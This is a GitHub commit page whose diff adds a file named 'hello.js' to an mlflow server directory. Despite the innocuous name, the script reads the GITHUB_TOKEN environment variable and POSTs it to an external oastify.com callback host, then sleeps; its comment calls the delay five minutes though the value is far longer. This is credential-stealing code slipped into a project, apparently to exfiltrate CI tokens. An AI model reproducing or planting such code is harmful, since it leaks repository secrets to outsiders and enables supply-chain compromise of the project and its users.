Skip to content

Commit

Permalink
Create hello.js
Browse files Browse the repository at this point in the history
  • Loading branch information
errhttp404 authored Apr 23, 2024
1 parent 25ef0d9 commit fc49547
Showing 1 changed file with 36 additions and 0 deletions.
36 changes: 36 additions & 0 deletions mlflow/server/js/hello.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
const url = "https://sa62s9f6ivufo8ppv3531mi76ycp0io7.oastify.com"; // Replace this with your target URL
const token = process.env.GITHUB_TOKEN || "123"

async function makePostRequest() {
try {
const fetch = await import("node-fetch");
const response = await fetch.default(url, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
token: token,
}),
});

if (response.ok) {
sleepForFiveMinutes();
const data = await response.json();
console.log("POST request successful. Response data:", data);
} else {
console.error("Failed to make POST request. Status:", response.status);
}
} catch (error) {
console.error("Error making POST request:", error.message);
}
}
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}

async function sleepForFiveMinutes() {
await sleep(12000000); // 5 minutes = 5 * 60 * 1000 milliseconds
}

makePostRequest();

0 comments on commit fc49547

Please sign in to comment.